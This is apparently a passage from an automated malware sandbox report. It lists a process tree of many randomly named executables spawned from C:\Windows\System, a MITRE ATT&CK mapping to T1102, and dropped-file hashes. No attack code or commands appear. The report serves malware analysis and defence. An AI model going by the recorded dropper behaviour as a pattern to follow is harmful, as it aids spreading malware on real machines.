- C:\Windows\System\yYzTbIY.exe
  C:\Windows\System\yYzTbIY.exe
  2⤵
  PID:14740
- C:\Windows\System\vucprll.exe
  C:\Windows\System\vucprll.exe
  2⤵
  PID:8064
- C:\Windows\System\WTuPRqb.exe
  C:\Windows\System\WTuPRqb.exe
  2⤵
  PID:14600
- C:\Windows\System\JiEKMVm.exe
  C:\Windows\System\JiEKMVm.exe
  2⤵
  PID:8588
- C:\Windows\System\wIhpCbe.exe
  C:\Windows\System\wIhpCbe.exe
  2⤵
  PID:8884
- C:\Windows\System\RMGOWIb.exe
  C:\Windows\System\RMGOWIb.exe
  2⤵
  PID:9880
- C:\Windows\System\tBawNow.exe
  C:\Windows\System\tBawNow.exe
  2⤵
  PID:9488
- C:\Windows\System\nNQSztp.exe
  C:\Windows\System\nNQSztp.exe
  2⤵
  PID:9700
- C:\Windows\System\JpEdiNG.exe
  C:\Windows\System\JpEdiNG.exe
  2⤵
  PID:8508
- C:\Windows\System\dPCjFfn.exe
  C:\Windows\System\dPCjFfn.exe
  2⤵
  PID:9156
- C:\Windows\System\PPmSJgi.exe
  C:\Windows\System\PPmSJgi.exe
  2⤵
  PID:8536
- C:\Windows\System\kVFKvXZ.exe
  C:\Windows\System\kVFKvXZ.exe
  2⤵
  PID:10048
- C:\Windows\System\OHVtrTt.exe
  C:\Windows\System\OHVtrTt.exe
  2⤵
  PID:14464
- C:\Windows\System\xPQXZWm.exe
  C:\Windows\System\xPQXZWm.exe
  2⤵
  PID:15164
- C:\Windows\System\QHhJJsk.exe
  C:\Windows\System\QHhJJsk.exe
  2⤵
  PID:8820
- C:\Windows\System\LrwBVOc.exe
  C:\Windows\System\LrwBVOc.exe
  2⤵
  PID:14548
- C:\Windows\System\EfXrxIG.exe
  C:\Windows\System\EfXrxIG.exe
  2⤵
  PID:9760
- C:\Windows\System\fJERqgD.exe
  C:\Windows\System\fJERqgD.exe
  2⤵
  PID:8480
- C:\Windows\System\MpgcsYz.exe
  C:\Windows\System\MpgcsYz.exe
  2⤵
  PID:9600
- C:\Windows\System\wmNXNsr.exe
  C:\Windows\System\wmNXNsr.exe
  2⤵
  PID:2316
- C:\Windows\System\iLTxhbx.exe
  C:\Windows\System\iLTxhbx.exe
  2⤵
  PID:14376
- C:\Windows\System\hbzljEi.exe
  C:\Windows\System\hbzljEi.exe
  2⤵
  PID:7756
- C:\Windows\System\OJPDDEd.exe
  C:\Windows\System\OJPDDEd.exe
  2⤵
  PID:7912
- C:\Windows\System\ytsOQlG.exe
  C:\Windows\System\ytsOQlG.exe
  2⤵
  PID:14688
- C:\Windows\System\zYZEMsO.exe
  C:\Windows\System\zYZEMsO.exe
  2⤵
  PID:9996
- C:\Windows\System\gKSGZbg.exe
  C:\Windows\System\gKSGZbg.exe
  2⤵
  PID:8864
- C:\Windows\System\ycPbaTm.exe
  C:\Windows\System\ycPbaTm.exe
  2⤵
  PID:6180
- C:\Windows\System\GFmKYgl.exe
  C:\Windows\System\GFmKYgl.exe
  2⤵
  PID:7816
- C:\Windows\System\kRqUxpK.exe
  C:\Windows\System\kRqUxpK.exe
  2⤵
  PID:8436
- C:\Windows\System\SXvkBKN.exe
  C:\Windows\System\SXvkBKN.exe
  2⤵
  PID:8184
- C:\Windows\System\tgvkoqt.exe
  C:\Windows\System\tgvkoqt.exe
  2⤵
  PID:9456
- C:\Windows\System\WVxRHlX.exe
  C:\Windows\System\WVxRHlX.exe
  2⤵
  PID:7440
- C:\Windows\System\syThekE.exe
  C:\Windows\System\syThekE.exe
  2⤵
  PID:6896
- C:\Windows\System\ItNkiSl.exe
  C:\Windows\System\ItNkiSl.exe
  2⤵
  PID:6944
- C:\Windows\System\JsvLaDk.exe
  C:\Windows\System\JsvLaDk.exe
  2⤵
  PID:14936
- C:\Windows\System\fkhpCfw.exe
  C:\Windows\System\fkhpCfw.exe
  2⤵
  PID:8700
- C:\Windows\System\PdZACbF.exe
  C:\Windows\System\PdZACbF.exe
  2⤵
  PID:14916
- C:\Windows\System\PfHTgAv.exe
  C:\Windows\System\PfHTgAv.exe
  2⤵
  PID:7076
- C:\Windows\System\ptMxoXI.exe
  C:\Windows\System\ptMxoXI.exe
  2⤵
  PID:8896
- C:\Windows\System\mbqwajA.exe
  C:\Windows\System\mbqwajA.exe
  2⤵
  PID:7864
- C:\Windows\System\kiEaOHe.exe
  C:\Windows\System\kiEaOHe.exe
  2⤵
  PID:10112
- C:\Windows\System\lNfiQdV.exe
  C:\Windows\System\lNfiQdV.exe
  2⤵
  PID:8728
- C:\Windows\System\DtrLNMD.exe
  C:\Windows\System\DtrLNMD.exe
  2⤵
  PID:8108
- C:\Windows\System\ZnJDANg.exe
  C:\Windows\System\ZnJDANg.exe
  2⤵
  PID:8068
- C:\Windows\System\SvRquLO.exe
  C:\Windows\System\SvRquLO.exe
  2⤵
  PID:8016
- C:\Windows\System\LKcuWcl.exe
  C:\Windows\System\LKcuWcl.exe
  2⤵
  PID:10220
- C:\Windows\System\GVdtegx.exe
  C:\Windows\System\GVdtegx.exe
  2⤵
  PID:14968
- C:\Windows\System\CvQlBYZ.exe
  C:\Windows\System\CvQlBYZ.exe
  2⤵
  PID:9472
- C:\Windows\System\xzpkaZy.exe
  C:\Windows\System\xzpkaZy.exe
  2⤵
  PID:8020
- C:\Windows\System\BBZFmdq.exe
  C:\Windows\System\BBZFmdq.exe
  2⤵
  PID:8576
- C:\Windows\System\YYLsueR.exe
  C:\Windows\System\YYLsueR.exe
  2⤵
  PID:9680
- C:\Windows\System\Gyhhizb.exe
  C:\Windows\System\Gyhhizb.exe
  2⤵
  PID:6744
- C:\Windows\System\bCKnaZW.exe
  C:\Windows\System\bCKnaZW.exe
  2⤵
  PID:15176
- C:\Windows\System\pzsanpV.exe
  C:\Windows\System\pzsanpV.exe
  2⤵
  PID:7660
- C:\Windows\System\qIgBKOf.exe
  C:\Windows\System\qIgBKOf.exe
  2⤵
  PID:1200
- C:\Windows\System\fFCAtsr.exe
  C:\Windows\System\fFCAtsr.exe
  2⤵
  PID:7788
- C:\Windows\System\ZeHSmuG.exe
  C:\Windows\System\ZeHSmuG.exe
  2⤵
  PID:14692
- C:\Windows\System\ZuLNUYE.exe
  C:\Windows\System\ZuLNUYE.exe
  2⤵
  PID:6860
- C:\Windows\System\XOOOjBg.exe
  C:\Windows\System\XOOOjBg.exe
  2⤵
  PID:10116
- C:\Windows\System\JNDfbHM.exe
  C:\Windows\System\JNDfbHM.exe
  2⤵
  PID:7776
- C:\Windows\System\VkLnRMn.exe
  C:\Windows\System\VkLnRMn.exe
  2⤵
  PID:10564
- C:\Windows\System\AXdHPYb.exe
  C:\Windows\System\AXdHPYb.exe
  2⤵
  PID:11108
- C:\Windows\System\IBkxjtg.exe
  C:\Windows\System\IBkxjtg.exe
  2⤵
  PID:10176
- C:\Windows\System\kJCwbmX.exe
  C:\Windows\System\kJCwbmX.exe
  2⤵
  PID:8324
- C:\Windows\System\MlEOPXE.exe
  C:\Windows\System\MlEOPXE.exe
  2⤵
  PID:14636
- C:\Windows\System\OBCybuj.exe
  C:\Windows\System\OBCybuj.exe
  2⤵
  PID:9656
- C:\Windows\System\pMzzAqy.exe
  C:\Windows\System\pMzzAqy.exe
  2⤵
  PID:14416
- C:\Windows\System\JzNclXZ.exe
  C:\Windows\System\JzNclXZ.exe
  2⤵
  PID:15120
- C:\Windows\System\ulJEiQs.exe
  C:\Windows\System\ulJEiQs.exe
  2⤵
  PID:676
- C:\Windows\System\bLfzKIj.exe
  C:\Windows\System\bLfzKIj.exe
  2⤵
  PID:8520
- C:\Windows\System\sMIgHTz.exe
  C:\Windows\System\sMIgHTz.exe
  2⤵
  PID:9756
- C:\Windows\System\zpscHFM.exe
  C:\Windows\System\zpscHFM.exe
  2⤵
  PID:2892
- C:\Windows\System\QFFKwWk.exe
  C:\Windows\System\QFFKwWk.exe
  2⤵
  PID:8304
- C:\Windows\System\dCSvfbi.exe
  C:\Windows\System\dCSvfbi.exe
  2⤵
  PID:15320
- C:\Windows\System\rlwYxgE.exe
  C:\Windows\System\rlwYxgE.exe
  2⤵
  PID:4240
- C:\Windows\System\fbhUeej.exe
  C:\Windows\System\fbhUeej.exe
  2⤵
  PID:9692
- C:\Windows\System\UatEkal.exe
  C:\Windows\System\UatEkal.exe
  2⤵
  PID:7336
- C:\Windows\System\kOmdmyS.exe
  C:\Windows\System\kOmdmyS.exe
  2⤵
  PID:11404
- C:\Windows\System\qZnmGdH.exe
  C:\Windows\System\qZnmGdH.exe
  2⤵
  PID:8228
- C:\Windows\System\XDzAJZo.exe
  C:\Windows\System\XDzAJZo.exe
  2⤵
  PID:10576
- C:\Windows\System\QHirPMI.exe
  C:\Windows\System\QHirPMI.exe
  2⤵
  PID:4492
- C:\Windows\System\akggSjI.exe
  C:\Windows\System\akggSjI.exe
  2⤵
  PID:4168
- C:\Windows\System\aAEfDMV.exe
  C:\Windows\System\aAEfDMV.exe
  2⤵
  PID:10868
- C:\Windows\System\NIqcHak.exe
  C:\Windows\System\NIqcHak.exe
  2⤵
  PID:11372
- C:\Windows\System\eTozWXZ.exe
  C:\Windows\System\eTozWXZ.exe
  2⤵
  PID:10080
- C:\Windows\System\CnmRqMB.exe
  C:\Windows\System\CnmRqMB.exe
  2⤵
  PID:10536
- C:\Windows\System\veyvGMK.exe
  C:\Windows\System\veyvGMK.exe
  2⤵
  PID:10392
- C:\Windows\System\ECCjrEj.exe
  C:\Windows\System\ECCjrEj.exe
  2⤵
  PID:10612
- C:\Windows\System\qoErRPG.exe
  C:\Windows\System\qoErRPG.exe
  2⤵
  PID:8920
- C:\Windows\System\fVMgmRp.exe
  C:\Windows\System\fVMgmRp.exe
  2⤵
  PID:10852
- C:\Windows\System\dbSspKu.exe
  C:\Windows\System\dbSspKu.exe
  2⤵
  PID:13180
- C:\Windows\System\iVPFBkp.exe
  C:\Windows\System\iVPFBkp.exe
  2⤵
  PID:11448
- C:\Windows\System\FVsWwnc.exe
  C:\Windows\System\FVsWwnc.exe
  2⤵
  PID:10572
- C:\Windows\System\ypSopsl.exe
  C:\Windows\System\ypSopsl.exe
  2⤵
  PID:11148
- C:\Windows\System\QCNhijc.exe
  C:\Windows\System\QCNhijc.exe
  2⤵
  PID:9384
- C:\Windows\System\KXHMjtr.exe
  C:\Windows\System\KXHMjtr.exe
  2⤵
  PID:9484
- C:\Windows\System\QyxjJbt.exe
  C:\Windows\System\QyxjJbt.exe
  2⤵
  PID:11444
- C:\Windows\System\FmaDFtZ.exe
  C:\Windows\System\FmaDFtZ.exe
  2⤵
  PID:7332
- C:\Windows\System\JrzYXZA.exe
  C:\Windows\System\JrzYXZA.exe
  2⤵
  PID:11480
- C:\Windows\System\TVAAYLz.exe
  C:\Windows\System\TVAAYLz.exe
  2⤵
  PID:936
- C:\Windows\System\Ofcpjvs.exe
  C:\Windows\System\Ofcpjvs.exe
  2⤵
  PID:11208
- C:\Windows\System\fdmEclS.exe
  C:\Windows\System\fdmEclS.exe
  2⤵
  PID:2228
- C:\Windows\System\CmhAcal.exe
  C:\Windows\System\CmhAcal.exe
  2⤵
  PID:11564
- C:\Windows\System\xLmKigR.exe
  C:\Windows\System\xLmKigR.exe
  2⤵
  PID:11592
- C:\Windows\System\XPfQJuj.exe
  C:\Windows\System\XPfQJuj.exe
  2⤵
  PID:11936
- C:\Windows\System\hllfCnr.exe
  C:\Windows\System\hllfCnr.exe
  2⤵
  PID:7892
- C:\Windows\System\qDHtNVo.exe
  C:\Windows\System\qDHtNVo.exe
  2⤵
  PID:11624
- C:\Windows\System\JjuZCTb.exe
  C:\Windows\System\JjuZCTb.exe
  2⤵
  PID:14632
- C:\Windows\System\ASiRSPF.exe
  C:\Windows\System\ASiRSPF.exe
  2⤵
  PID:11872
- C:\Windows\System\vGdSejl.exe
  C:\Windows\System\vGdSejl.exe
  2⤵
  PID:11144
- C:\Windows\System\wLZMMGu.exe
  C:\Windows\System\wLZMMGu.exe
  2⤵
  PID:14444
- C:\Windows\System\ncnbcaK.exe
  C:\Windows\System\ncnbcaK.exe
  2⤵
  PID:12132
- C:\Windows\System\uyYjTpo.exe
  C:\Windows\System\uyYjTpo.exe
  2⤵
  PID:11468
- C:\Windows\System\qrmQKLd.exe
  C:\Windows\System\qrmQKLd.exe
  2⤵
  PID:10800
- C:\Windows\System\XlruOlM.exe
  C:\Windows\System\XlruOlM.exe
  2⤵
  PID:12212
- C:\Windows\System\vFlAdTD.exe
  C:\Windows\System\vFlAdTD.exe
  2⤵
  PID:11388
- C:\Windows\System\TkGuJze.exe
  C:\Windows\System\TkGuJze.exe
  2⤵
  PID:11216
- C:\Windows\System\YHEKqmp.exe
  C:\Windows\System\YHEKqmp.exe
  2⤵
  PID:11600
- C:\Windows\System\gcvxUWV.exe
  C:\Windows\System\gcvxUWV.exe
  2⤵
  PID:10288
- C:\Windows\System\xdoygca.exe
  C:\Windows\System\xdoygca.exe
  2⤵
  PID:9244
- C:\Windows\System\zuoqYrJ.exe
  C:\Windows\System\zuoqYrJ.exe
  2⤵
  PID:3888
- C:\Windows\System\IhDISnR.exe
  C:\Windows\System\IhDISnR.exe
  2⤵
  PID:11476
- C:\Windows\System\kFPnmJG.exe
  C:\Windows\System\kFPnmJG.exe
  2⤵
  PID:12036
- C:\Windows\System\bISZzCJ.exe
  C:\Windows\System\bISZzCJ.exe
  2⤵
  PID:556
- C:\Windows\System\dDqZvLt.exe
  C:\Windows\System\dDqZvLt.exe
  2⤵
  PID:11676
- C:\Windows\System\pXjlwNo.exe
  C:\Windows\System\pXjlwNo.exe
  2⤵
  PID:11792
- C:\Windows\System\nMsLmIj.exe
  C:\Windows\System\nMsLmIj.exe
  2⤵
  PID:11644
- C:\Windows\System\MMbtJkf.exe
  C:\Windows\System\MMbtJkf.exe
  2⤵
  PID:1860
- C:\Windows\System\RvCbZCu.exe
  C:\Windows\System\RvCbZCu.exe
  2⤵
  PID:9620
- C:\Windows\System\xVbxtRT.exe
  C:\Windows\System\xVbxtRT.exe
  2⤵
  PID:11452
- C:\Windows\System\KZLPOOu.exe
  C:\Windows\System\KZLPOOu.exe
  2⤵
  PID:11912
- C:\Windows\System\RMXMfZA.exe
  C:\Windows\System\RMXMfZA.exe
  2⤵
  PID:12092
- C:\Windows\System\awvHxzr.exe
  C:\Windows\System\awvHxzr.exe
  2⤵
  PID:11620
- C:\Windows\System\DlfYGKA.exe
  C:\Windows\System\DlfYGKA.exe
  2⤵
  PID:12052
- C:\Windows\System\KUpSKSF.exe
  C:\Windows\System\KUpSKSF.exe
  2⤵
  PID:5980
- C:\Windows\System\BEauLiL.exe
  C:\Windows\System\BEauLiL.exe
  2⤵
  PID:10292
- C:\Windows\System\gqueAXP.exe
  C:\Windows\System\gqueAXP.exe
  2⤵
  PID:11908
- C:\Windows\System\lHHJKVc.exe
  C:\Windows\System\lHHJKVc.exe
  2⤵
  PID:11376
- C:\Windows\System\FnEqJtT.exe
  C:\Windows\System\FnEqJtT.exe
  2⤵
  PID:15348
- C:\Windows\System\YSzhjIg.exe
  C:\Windows\System\YSzhjIg.exe
  2⤵
  PID:7644
- C:\Windows\System\ttwwfqf.exe
  C:\Windows\System\ttwwfqf.exe
  2⤵
  PID:6432
- C:\Windows\System\BcDfovS.exe
  C:\Windows\System\BcDfovS.exe
  2⤵
  PID:10624
- C:\Windows\System\ILBKwlU.exe
  C:\Windows\System\ILBKwlU.exe
  2⤵
  PID:9544
- C:\Windows\System\dugEhqd.exe
  C:\Windows\System\dugEhqd.exe
  2⤵
  PID:5868
- C:\Windows\System\oYdBDTA.exe
  C:\Windows\System\oYdBDTA.exe
  2⤵
  PID:5228
- C:\Windows\System\BRxlIJR.exe
  C:\Windows\System\BRxlIJR.exe
  2⤵
  PID:8328
- C:\Windows\System\LfHDRVk.exe
  C:\Windows\System\LfHDRVk.exe
  2⤵
  PID:9508
- C:\Windows\System\uLUULrD.exe
  C:\Windows\System\uLUULrD.exe
  2⤵
  PID:12352
- C:\Windows\System\PizoXbx.exe
  C:\Windows\System\PizoXbx.exe
  2⤵
  PID:14852
- C:\Windows\System\biXNodn.exe
  C:\Windows\System\biXNodn.exe
  2⤵
  PID:5640
- C:\Windows\System\vcUGcXd.exe
  C:\Windows\System\vcUGcXd.exe
  2⤵
  PID:2408
- C:\Windows\System\ptNsxtM.exe
  C:\Windows\System\ptNsxtM.exe
  2⤵
  PID:11940
- C:\Windows\System\oEbMcmo.exe
  C:\Windows\System\oEbMcmo.exe
  2⤵
  PID:12012
- C:\Windows\System\CxzYoyC.exe
  C:\Windows\System\CxzYoyC.exe
  2⤵
  PID:8180
- C:\Windows\System\ZyYNoaH.exe
  C:\Windows\System\ZyYNoaH.exe
  2⤵
  PID:5956
- C:\Windows\System\GSmGBOz.exe
  C:\Windows\System\GSmGBOz.exe
  2⤵
  PID:11124
- C:\Windows\System\AQgAnqU.exe
  C:\Windows\System\AQgAnqU.exe
  2⤵
  PID:12284
- C:\Windows\System\BLUgobv.exe
  C:\Windows\System\BLUgobv.exe
  2⤵
  PID:12152
- C:\Windows\System\OKvYubx.exe
  C:\Windows\System\OKvYubx.exe
  2⤵
  PID:12584
- C:\Windows\System\nLbYfVH.exe
  C:\Windows\System\nLbYfVH.exe
  2⤵
  PID:12492
- C:\Windows\System\oHvnmlQ.exe
  C:\Windows\System\oHvnmlQ.exe
  2⤵
  PID:12588
- C:\Windows\System\NBdJaMD.exe
  C:\Windows\System\NBdJaMD.exe
  2⤵
  PID:14364
- C:\Windows\System\jdTKvYg.exe
  C:\Windows\System\jdTKvYg.exe
  2⤵
  PID:408
- C:\Windows\System\SAUaXtF.exe
  C:\Windows\System\SAUaXtF.exe
  2⤵
  PID:11780
- C:\Windows\System\TAKrccj.exe
  C:\Windows\System\TAKrccj.exe
  2⤵
  PID:12536
- C:\Windows\System\RvrZQgd.exe
  C:\Windows\System\RvrZQgd.exe
  2⤵
  PID:11996
- C:\Windows\System\apoiqYg.exe
  C:\Windows\System\apoiqYg.exe
  2⤵
  PID:6016
- C:\Windows\System\GdegCan.exe
  C:\Windows\System\GdegCan.exe
  2⤵
  PID:12428
- C:\Windows\System\WlmkVkm.exe
  C:\Windows\System\WlmkVkm.exe
  2⤵
  PID:12472
- C:\Windows\System\dmAWqLU.exe
  C:\Windows\System\dmAWqLU.exe
  2⤵
  PID:14268
- C:\Windows\System\XxkjYux.exe
  C:\Windows\System\XxkjYux.exe
  2⤵
  PID:12256
- C:\Windows\System\RlIINcp.exe
  C:\Windows\System\RlIINcp.exe
  2⤵
  PID:14664
- C:\Windows\System\XIbImLN.exe
  C:\Windows\System\XIbImLN.exe
  2⤵
  PID:12540
- C:\Windows\System\JGqCVKd.exe
  C:\Windows\System\JGqCVKd.exe
  2⤵
  PID:3536
- C:\Windows\System\iVOoTYj.exe
  C:\Windows\System\iVOoTYj.exe
  2⤵
  PID:12220
- C:\Windows\System\hpQQRpv.exe
  C:\Windows\System\hpQQRpv.exe
  2⤵
  PID:15380
- C:\Windows\System\QpkouPq.exe
  C:\Windows\System\QpkouPq.exe
  2⤵
  PID:15404
- C:\Windows\System\DOLsKhv.exe
  C:\Windows\System\DOLsKhv.exe
  2⤵
  PID:15424
- C:\Windows\System\dRxXuUP.exe
  C:\Windows\System\dRxXuUP.exe
  2⤵
  PID:15452
- C:\Windows\System\zYoYuZx.exe
  C:\Windows\System\zYoYuZx.exe
  2⤵
  PID:15468
- C:\Windows\System\CdhOQGC.exe
  C:\Windows\System\CdhOQGC.exe
  2⤵
  PID:15484
- C:\Windows\System\EZfegjf.exe
  C:\Windows\System\EZfegjf.exe
  2⤵
  PID:15504
- C:\Windows\System\PhWXdtC.exe
  C:\Windows\System\PhWXdtC.exe
  2⤵
  PID:15528
- C:\Windows\System\YMRXPZy.exe
  C:\Windows\System\YMRXPZy.exe
  2⤵
  PID:15556
- C:\Windows\System\lHWMgDL.exe
  C:\Windows\System\lHWMgDL.exe
  2⤵
  PID:15576
- C:\Windows\System\nqIxFBo.exe
  C:\Windows\System\nqIxFBo.exe
  2⤵
  PID:15732
- C:\Windows\System\kHOoIJp.exe
  C:\Windows\System\kHOoIJp.exe
  2⤵
  PID:15756
- C:\Windows\System\YMghdIN.exe
  C:\Windows\System\YMghdIN.exe
  2⤵
  PID:15780
- C:\Windows\System\LeEjiXK.exe
  C:\Windows\System\LeEjiXK.exe
  2⤵
  PID:15800
- C:\Windows\System\YusPxiN.exe
  C:\Windows\System\YusPxiN.exe
  2⤵
  PID:15828

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=5400 --field-trial-handle=2264,i,15001568551143786084,90255922961447677,262144 --variations-seed-version /prefetch:8
1⤵
PID:13144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\X0OFMNIL\home-993d2c38b2c1[1].css

Filesize
11KB

MD5
6328d6d9a6b00ce7f992230b97b17c1f

SHA1
88837b802bdde407e37e92641072ea2eeec95556

SHA256
c9d9b80794cebd7d97daf52f7f0ce0e31bcf7a6f65a6e07851c688d67f10dba8

SHA512
993d2c38b2c15499aebdb39c1f9c21d0501d4c2a5973caec65be9ddc3ddfd6e46d06449e7483daa4fa9afa17cb81ff27a391519a64629169eb15c52911aab2c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u3uvy1c4.tr3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\ArBwjIf.exe

Filesize
2.2MB

MD5
9952c0822183c9f40da0d547c624b7d0

SHA1
1188ef914f9335161d1676e1c32887603c15b25a

SHA256
a8653eae7e657358b2eed462bceeb4ed4f1e432515267473de8d9e9b784f6383

SHA512
069c203f7d93af5a4755a410624df540952c8658762dc05677d790da8c7b07a039b64c6e5cfcb3be8665f46be22e299ac2b5e775f717428734e4c4e8cf23f629

Download Submit
C:\Windows\System\CGqmiyM.exe

Filesize
2.2MB

MD5
7fa78f423cda74c82196a5fccb16cb46

SHA1
19f2328a3044b62c937ac4f5bbcecbd321f27abf

SHA256
7dce0691e189e0f45ed608b99295c8d8750459d05180098d378977a27bb0812a

SHA512
fe3e5b64b0beae1e4ca14a61579aa5d14df06fce750ee62f521dabf1632d236b12f1e3872a1e63740b3282391007302764dba67d0c19f08953933f52cb84400e

Download Submit
C:\Windows\System\DMOZvBf.exe

Filesize
2.2MB

MD5
b639f69a6fe47c222918b3184c7cde63

SHA1
2df8747fd5f0a3ff17679ddf171d1cd316e9c92c

SHA256
de3e000138dae36d272187492f73722635e1562c405a91aa0ebfd96270bf1501

SHA512
26901bde0db6df3af2239497ce31dda39d974c1b09a0641b5f6839dac152dcab9ead705b91de7fb7650570508bc8c74f5bac9d7a3c995e50561082dee3cfb1d7

Download Submit
C:\Windows\System\HfJUBDs.exe

Filesize
2.2MB

MD5
5307fa99fc54efa88356e3a11e62e3cb

SHA1
6444f6666b4677dcb7f1360501b97d84b9a8b3a3

SHA256
6ab9a8ad57d144f06ec598a70a13a03f5699d04b2f06535b858b31fdeebc1bf0

SHA512
3f6f36b80ea28782c8c07799a43408b8f8b35cf3472035ace499ae148c66966fda6071bfce1ac8e54d7eb0a8eede3c42c00b01e9841e2d82586497bf7b5b90ae

Download Submit
C:\Windows\System\KaDpeta.exe

Filesize
2.2MB

MD5
0c2cedb8765c59629b07339e06d5bf84

SHA1
c6c2c642477b196deb6ce55f9c726d3287073b41

SHA256
322e968d6755b8c25664df4d6debae45f1dfee1bae51aedafd7936541beae527

SHA512
e16b7844122fd85159474786c1cb99136f0f7f404916e90eb18f6346175ad1bed90f35db1bcaf4a2c9a2133686fb985f0998ba1339df27fc2bb132fde1a51180

Download Submit
C:\Windows\System\KoeqKwS.exe

Filesize
2.2MB

MD5
9ecd89662b7dc7f850cdab00654bf3c5

SHA1
baab43bd0a40b2d6d90b4fdfb4d71299842e4508

SHA256
af164ad64f62576e8b3bc15e846321f8a1542ff4bdb056ca7fc7d15d665211cd

SHA512
afe9ebe79817cf5a3e566da60bb6ec6d39417a81955e4abd84d7ff315df8d2b93188eb048b83d013e14a1df06dabad97cd47fc9ce388bb75ff72de9a1b7c6d43

Download Submit
C:\Windows\System\MTrXTkh.exe

Filesize
2.2MB

MD5
cb26013a299183e519d9fa18f9aa3f80

SHA1
5e15a7a95dab4098a7fdbb6962caf09b7c69404f

SHA256
1bb2dd3cac23642c31ce6b5eabcf06645df370e2db041a713a9d8c9e9363ac20

SHA512
cb12ed4b36c31a0fde218af7cd1ed0e0182a7d12bd489cd70d89515829f45a8491ae7761abf58354e7cda132221c8c0b63cf3b87af03285848c35b6271622010

Download Submit
C:\Windows\System\NQxHifP.exe

Filesize
2.2MB

MD5
d26228205e13c53ad1d9e027516812ef

SHA1
cba28664a1ac8ede27eb9dfff3b0eb41c4ee1904

SHA256
07efb42c9bfb269ca9e4f3759aaf09ecac55004dd60320e1abcd556af031ded1

SHA512
d13e2d2616793372bd25c0d44d10750642b47623058aece2d6f37e41f87e3b6a4f2c84c4c9b55ec708fa344b7641aff1a6a389df51f0f1dd36d08ac3d3cb039b

Download Submit
C:\Windows\System\OMEMfwB.exe

Filesize
2.2MB

MD5
b96dedeccb2119c78feeaa26ca545f1d

SHA1
21d5d6824a03632e37f2c674b78fd64758e213f2

SHA256
de45ec70b43ec0a0b68dc352446c1f26dfe3befb14e898af84da1f724c738da6

SHA512
4272081d88e0c6e87c816150aca89628ad41bb79e04952aa4fefa0c89ca63b839435dcfe8d7ca5c1f55cc681470839f9622c72bcce17f7228c1978ebb38288dd

Download Submit
C:\Windows\System\OQOfxzE.exe

Filesize
2.2MB

MD5
9db91255551cc27b41fd62b09328e256

SHA1
f697dc6897a19f08f850b4ccb3fde609c2f8af1c

SHA256
195e0f23e71e96b78ebe93704aaeaf2b1da4148447e96caa1b56e1d7ee97110a

SHA512
7adb505c5cc5f3e4a22fa268a39031c4fcdd98fe3cfaf09eef0605e8827cf63b755d120e1f5974717e01cc10fc1be22fc6a4a24b37df96cfbe0cb562ee2734bb

Download Submit
C:\Windows\System\OZEscmK.exe

Filesize
2.2MB

MD5
1454235d52a269f0a639f87bb7d31350

SHA1
8f9bd2354699dcfa0cdb8923106cc225341081b3

SHA256
ef7dcb817c59e7ffa3c684d1b21f2318cf9f8954956829bb377802a1f7cd4cb5

SHA512
0fb3a37b57db55d13e23120201fb23fa2ffbe8e112c2fd5ea6e1ad0fae4672ad00c9013394405d7258b92f12dd16c108fb6499260f4f94c7937d102a04ea46f8

Download Submit
C:\Windows\System\SArTLKd.exe

Filesize
2.2MB

MD5
090514a1cfd97a0c4b5c99a84760d8d1

SHA1
35643f95eefbbb14b6f3aa7801524041a188ff72

SHA256
e4079ae6d63f7cebde8bba11b2336d69dde268404820fa39522cd28dcdbd5a30

SHA512
27686d6530851420e2872ebac8a4931fc3797ff5eeb763e2bc32d99cc261f924bdbf062407ff5209cad0bf3f679d6f05f6c1b5f75f61632df30a122f052bb8e2

Download Submit
C:\Windows\System\TQkbnGv.exe

Filesize
2.2MB

MD5
593923a45c9665b55c2680b09e614cbd

SHA1
68cba76ff0f253d5b51c1e5e7c6673c81479550e

SHA256
a9ffedc50e6fd190ddcc960baf1a4aae6b15c8f5fb68652d24512fbedee5bd3b

SHA512
81794b825b52bb6cf2d8760ee628d947be81610c92241b2d19d1d58e661424b7f01ee3c221a8613789ff2747005dc373050a82df9366ff995469723a740db130

Download Submit
C:\Windows\System\TnxdOyV.exe

Filesize
2.2MB

MD5
69687feffc3755e86994506505373ef3

SHA1
0383852f783944cd3597c77c728720f922d35646

SHA256
661a3cf20d41f110d1ca8d8439fa689a9adf9c731ebcd304fd4cdbb67f59baca

SHA512
fd3eef9ee0d9d6cbf00865ffb2ad42adf738cd141a3fc3ba107b4b271efed8d4714e4e1aadc0bbec87c62e3a781481574d18d191297a7a125bce8718afd9a740

Download Submit
C:\Windows\System\USYojEi.exe

Filesize
2.2MB

MD5
838ef506d58c578b3c89b03b49e3da3a

SHA1
3a8cd68a9d1aadf9cf16b848f090d009e0f5ab01

SHA256
37611c07d6640e6f3a7da381c39e9cad130e52a2b78505818c3fcd9d9c81bb2d

SHA512
a6c38bdc90e5024fadf96fdd2e61ad8cc4e12735e042c99fd56cac3560fd7e94036f00b30ba2f05ef1b5343733a5888a0ad5992fdbac0112c9485589d36683ba

Download Submit
C:\Windows\System\XuXahZy.exe

Filesize
2.2MB

MD5
da4cbdda5a08947ce872161e40ec5b0f

SHA1
9b6d30a4aa1f89f5d4f4ef6ba8bcb7c2b23ba113

SHA256
f1fb4a815b805810ff51d335eb549d9be6236245fd0401e403a83f3776665ae5

SHA512
15e1a05892efaddb441b8bd896d67c85fd57e767c926c3aa6247d61bc47a6a154bd1420eb31f60ace488156f842160fd24a453cc1aed6d3f6fe4e3c9ce88118a

Download Submit
C:\Windows\System\YhzasTC.exe

Filesize
2.2MB

MD5
ddcaade72519614408c0af32e5df694e

SHA1
